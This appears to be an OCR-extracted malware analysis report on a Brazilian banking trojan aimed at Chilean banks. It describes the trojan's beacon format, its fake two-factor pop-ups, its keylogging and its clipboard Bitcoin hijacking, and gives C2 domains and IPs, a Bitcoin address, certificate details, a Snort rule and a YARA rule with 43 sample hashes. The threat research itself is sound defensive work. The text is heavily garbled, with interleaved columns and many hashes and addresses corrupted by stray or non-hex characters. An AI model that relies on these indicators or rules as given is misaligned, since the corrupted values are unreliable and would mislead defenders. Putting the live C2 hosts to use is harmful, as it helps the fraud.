. GENERAL=WIN-UB70650F0BO&VERSAD=5128WIN=Windows 7 Professional N6.17601&NAVEGADOR=SIN-N40&PLUGIM=NO&AV=noHTTP/1.1 200 OK

» Frame 6: 66 bytt geryer: nginx/1.14.6

» Ethernet II, SFt pate: Sun, 22 Jul 2018 14:49:12 GMT

» Internet Protoct content-Type: text/html; charset=UTF-8

» [Transmission el Transfer-Encoding: chunked | |
Connection: close

a
FALSEFalse
¢]

The message sent by the malicious sample contains the following info:

Command Description

GENERAL=[SystemName] System name

VERSAO=[Maybe the malware version] Maybe the malware version

WIN=[Windows OS Version] Windows OS version
NAVEGADOR=[WebBrowserinfo] Web browser info
PLUG1TM=[SI\ NO]
AV=[SI\ NO]

Conclusion

Brazilian banker malware by their tactics, techniques and procedures (TTPs) targeting Chileans financial instituions, in order to steal, bank
credentials using fake bank pop-ups. It seems more advanced than the common Brazilian malware, using certificates, on demand string
deciphering and WMI monikers. Moreover implements clipboard cryptohijacking techniques.

Malicious sample characteristics and capabilities:

e TTPs related to Brazilian malware (Delphi)

¢ Chileans bank affectation.

¢ Use of WMI monikers to obtain info and manipulate the antivirus, firewall etc...

e Uses valid certificate to bypass Microsoft SmartScreen.

¢ Ciphered strings, only deciphered on demand.

e Steals bank credentials and double factor tricking the user, using fake popups requesting for second factor code.
e Clipboard BTC address cryptohijacking.

¢ Keylogger features
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10Cs

Process with this mutex:

339C55F821DC21D8012F20B87EA348F623

C&C - Domains and IPs

http://dbcadastro.com/cadastramentoS5/ponto.php

162.241.2.61
190.114.253.206 (Dynamic DNS)

Domains from VT passive DNS related to 162.241.2.61

2018-07-21
2018-07-21
2018-07-21
2018-07-21
2018-07-20
2018-07-20
2018-07-20
2018-07-20
2018-07-20
2018-07-20
2018-07-20
2018-07-20
2018-07-20
2018-07-20
2018-07-20
2018-07-20
2018-07-20

Domains from VT passive DNS related to 190.114.253.206 (Dynamic DNS)

2018-04-05
2018-01-19

BTC Address used for clipboard cryptohijacking

impressoscapao.com.br
www . impressoscapao.com.br

www.wonderdesigngrafico.com

wonderdesigngrafico

.com

targetnegocios.com.br
www.lilianecassinelli.com
lilianecassinelli.com

treinalinux.com
www . treinalinux.com

www.flordelizbrechoinfantil.com.br
flordelizbrechoinfantil.com.br

www.cfnow.com.br
cfnow.com.br
www.rcstylebrasilia
rcstylebrasilia.com
www . bepersonalstyle
bepersonalstyle.com

ssl.ddns.me
ssl2018.brasilia.me

.com.br
.br
.com.br
.br

163McXwBrc9S7JzbgegzVuw7QTJI9H1dQj7
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Bitcoin Address addresses are identifiers which you

Summary Transactions
Address 163McXwBrc957.JzbgegzVuw7QTISH1dQ|7 No. Transactions
Hash 160  374aaadb74912c38bb38fcc50581893b568f7672 Total Received

Final Balance

Request Payment

Transactions (Oidest First)

8542357c03f7d314f7B767b7798f46e3406d791a5dac14763f0b3245eeb5d7h

163McXwBrc9s7JzbgegzVuw7QTJISH1dQj7 =h
b1Mha705107cdcc35768488330e90b74a8218dd5ca3hdTea267380c98M4a029
1NuZemnf9kFZnYHjj9vicd35RxTx24vHEb -
53a07d6850119b9ef6462c0239d402c374ib16feic6 1b10118970709019e525
163McXwBrc857JzbgegzVuw?QTJISH1dQ|7 -

PE Signature

#### PE SIGNATURE

Serial Number
Signers

Counter signers
Timestamping CA

Snort Rule

1DVQES79cV2wwrPrégncCXrzoY86D2PIbB

163McXwBrc9S7JzbgegzVuw7QTJISH1dQ)7

17GcBdQARISmoTuFX3dwlJdad K982 jvpiZ

use to send bitcoins to another person.

0.13497611 BTC

0 BTC

Donation Button

Filter =

2018-07-07 18:23:42

0.08563777 BTC

-0.0836792 BTC

2018-07-07 00:48:05

0.0836792 BTC

0.0836792 BTC

2018-05-13 00:26:58

0.1673 BTC

-0.00697943 BTC

23 4f 65 60 e6 7b 93 d4 45 86 21 7b e3 e7 49 52
ITWAYSUK LTD; COMODO RSA Code Signing CA; COMODO SECURE™
: Symantec Time Stamping Services Signer - G4; Symantec Time Stamping Services CA - G2; Thawte

alert tcp any any -> any any (msg:”BrazilianBanker”;

content:"POST";
http_method;

pcre:"GENERAL=. *&VERSAO=. *&WIN=. *&NAVEGADOR=. *&PLUG1M=. *&AV=.*"; )

Generic Yara Rule
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rule GenericBrazilianBankerRule {

'%s'" fullword wide

meta:
description = "GenericBrazilianBankerRule"
date = "2018-07-22"
hashl = "7acbh19b31a431ba3cad5acff9c1b378eb1658585761ff84ca762e2b5f16098d0"
hash2 = "dBe232ac6602d7c09e5ee233fh5865c1h9286€90973058665e0c76917a50c95d"
hash3 = "b04e2037771923747ff98afb6cfd1d6769b6d266f781e66ebe7d92fd43e7b92b"
hash4 = "e133c2134604d5ae0385831848df13cc8ah42be77e25554d78a938f2ff078437"
hash5 = "6aaf83ffob2deda98eb39150ff90c47b4a5f5f78d1eb0f185017ede95bfdedf5"
hash6 = "97e10f669c109483813814e8f850d8cf9479db3a8b5fc7fe2bcdeledf1977dfa"
hash7 = "985c6d89543563901c131c5cc7143f680fd957b8aa74c0f5dd25f7e462e354e9"
hash8 = "1eef0649b231f9ce0838f1a04658ad4f6c8563b9ad7358397db09d21ac744a52"
hash9 = "e65948d6caefadl2741leddalf9f99b56abfed5e66d101178cd846679717c6b29"
hash10 = "1386c27973e299b5fb07bb6ad065e02c6bcac5d2b29dal5a068be9f6d29dfa30"
hash1l = "4a18f1e284fd06ef9b96bdc4b0b1666810f4868fc8dledfbaf46727dfced416eb"
hash12 = "425a4bfcb429761781550117cc95f4ch3778279bb9535caeb3824e086593faal"
hash13 = "6e82426990e76b0847fd0446c54c92a0b5833f65aee2d135feal83c67badd944"
hash14 = "balccdalch3e73b95f75b014abb5d078510b3ad71fde21164494714d9bb776e9"
hash15 = "bc5662a336871a35ead6522dd17a83861338cf354b4baa62a672ffdc111c9f96"
hash16 = "f233313327906be03487c3f20732f5cf8f8e1150d19a9dc30e68e9db2d85a0ca"
hash17 = "19ea016096b35c7af9a4b7b4f586070e3203f4b91be329d26783c6b1f3ec8346"
hash18 = "007cb339f4314da51f34f46d51adb9537229750e6112f4cf192db872042793b6"
hash19 = "a8dcda65baf6llc2a7c35a129eb6903c779e45a90f91d4515db5d4af72bbebf5"
hash20 = "067fb3fbfaee68e825af3b184bf61b7997ed3b0alcf833aecha40b0odoofcho4"
hash21 = "0dca0f585bb175dc5b248chf2d32651647736199999d3af533f917e009ea9f11"
hash22 = "77426ec69ec283fb561022e32c37768dabae08e5ea24bb8aael134af971ded426"
hash23 = "b96a43bfbf8a03b019fb3cd82834576b23299d12ebe985€a19684829h6be22ce"
hash24 = "94c69d61e769chd0229af67461749121f02d067ec4clbl1d14f95f35af2576243"
hash25 = "f65a4dfeef0a7b5d539ab889d8badf0100017ebel1a9ch784882813ddbf3a00c"
hash26 = "8418c5026cc9a1656859bac2c5f504561c76559d5ebchdf3ca7a74cf3b4458c"
hash27 = "033489ac01edb282a139a19058fb746db01f62c5c70bf49cc34e5cc35130cd4b”
hash28 = "4ac058056fa965b6a9ae5efaBadaf44827952ae3c64af9352250f48eeefdada2"
hash29 = "60a4801983780a0b2b971bfe906e8ab2204323538ce964ddc093ed493136177b"
hash30 = "30ddce8086742c014e3a796c4406262a0696bdf8703cf0996a32f8fa27449c2a"
hash31 = "a617e7d9c5066ad2e125297257f92fcf1ba2106adde60571799c07cOce55F96T"
hash32 = "f45355992af923ac4bdb49e691a2d7e3d590cfd368678b7a78add63681b03583"
hash33 = "a4c94417cbh5f33054feee449de342d6afb7c1836194259af3b5048d3e06cT4c3"
hash34 = "f2f645c0864cf536c9461339633a3ede4bd9f58dead05d10fafbd18429bba206"
hash35 = "2b6b1c4de97695c278348f3e34e274f3ba6328a210f9e2dbe3035c9eff595¢cfd"
hash36 = "78ded77048f73d94a6bee27ef9a229c2e07de616732b8cedd990f38al158e5ada"
hash37 = "a02e430146b555b68db882aeh26a02fcc044bch27c23f2dc80d579e41775b7d5"
hash38 = "3ae®6chbcl3ae679d9eb19a03277c9¢c87258c4607fd3c561523afae89742b6895e"
hash39 = "f00724324df876d30b5b708301c4179b67139927276e9c9%9a17d24e769d5b8152"
hash40 = "b101e15184908561673ebc20ca4464789d363bdc8f5a3d54f4cal27fac57e100"
hash41l = "7e5c63d2b9287f31a7679055f9172ec449b230663573296db502954c9677ab3b"
hash42 = "a3626c6cd2lelbeled25bc1939aa9922a7aaadbc2ffddibfbd9952bb3c357a97"
hash43 = "543da2c0830049b84d8e6667d05f802cfla3f65eaccc96b5efb4c17538F233bd"
strings:
$s1 = "Invalid characters in path The specified file was not found*Windows socket error: %s (%d), on API
$s2 = "SelectedNotFocusedHot$t1lGroupHeaderLineCloseMixedSelection'tlGroupHeaderLineCloseMixedSelectionHot" fullword ascii
$s3 = "C:\\ProgramData\\testyy.txt" fullword wide
$s4 = "ExecuteMacroLines" fullword ascii
$s5 = "ctedNotFocusedHot#t1GroupHeaderLineOpenMixedSelection&tlGroupHeaderLineOpenMixedSelectionHot" fullword ascii
$s6 = "MTDelegatedComparer<System.Rtti.TPair<System.TypInfo.PTypeInfo,System.string>>" fullword ascii
$s7 = "FOnExecuteMacro" fullword ascii
$s8 = "OnExecuteMacro" fullword ascii
$s9 = "ExecuteMacro" fullword ascii
$s10 = "?TDelegatedComparer<System.Rtti.TMethodImplementation.TParamLoc>" fullword ascii
$s11 = "System.Win.ScktComp" fullword ascii
$s12 = " - Host: " fullword wide
$s13 = "OnGetPassword" fullword ascii
$s14 = "4TDelegatedComparer<System.HelpIntfs.THelpViewerNode>" fullword ascii
$s15 = "WSAASyncGetHostByName" fullword wide
$s16 = "Error setting %s.Count8Listbox (%s) style must be virtual in order to set Count%Cannot remove shell notification

icon\"%s requir" wide

$s17 = "CTDictionary<System.string,System.TypInfo.PTypeInfo>.TPairEnumerator" fullword ascii

$s18 =
$s19 =
$s20 =

condition:

"FGetHostData" fullword ascii
"~System.Win.ScktComp" fullword ascii
"GetCookieByNameAndDomain" fullword ascii

( uint16(0) == 0x5a4d and
filesize < 28000KB and ( 8 of them )
) or ( all of them )

}

Malicious samples from VirusTotal with the same PE Signature
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007chb339f4314da51f34f46d51adb9537229750e6112F4cf192db872042793b6
033489ac01edb282a139a19058fb746db01f62c5c70bf49cc34e5cc35130cd4b
067fb3fbfaee68e825af3b184bf61b7997ed3b0alcf833aechaddb00doofchos
0dcadf585bb175dc5b248chf2d32651647736199999d3af533f917e009ea9f11
1386c27973e299b5fb07bb6ado65e02c6bcac5d2b29dal5a068be9f6d29dfa30
19ea016096b35c7af9a4b7b4f586070e3203f4b91be329d26783c6b1f3ec8346
1leef0649b231f9ce0838f1a04658ad4f6c8563b9ad7358397db09d21ac744a52
2b6b1c4de97695c27834813e34e274f3ba6328a210f9e2dbe3035c9eff595cfd
30ddce8086742c014e3a796c4406262a0696bdf8703cf0996a32f8fa27449c2a
35db30e5b9577d52ddedb3acofc402b0a49c406c3d231330bebfc52echa2ad28
3ae06cbc3ae679d9eb19a03277c9¢c87258c4607fd3c561523afae89742b6895e
425a4bfch429761781550117cc95f4ch3778279bb9535caeh3824e086593faal
4a18f1e284fd06ef9b96bdc4b0b1666810T4868Fc8dledfbaf46727dfced416eb
4ac058056fa965b6a9ae5efa8a4af44827952ae3c64af9352250f48eeefdada2
543da2c0830049b84d8e6667d05f802cfla3f65eaccc96b5efb4c17538F233bd
60a4801983780a0b2b971bfe906e8ab2204323538ce964ddc093ed493136177b
6aaf83ffob2deda98eb39150ff90c47b4a5f5f78d1eb0f185017ede95bfdedfs
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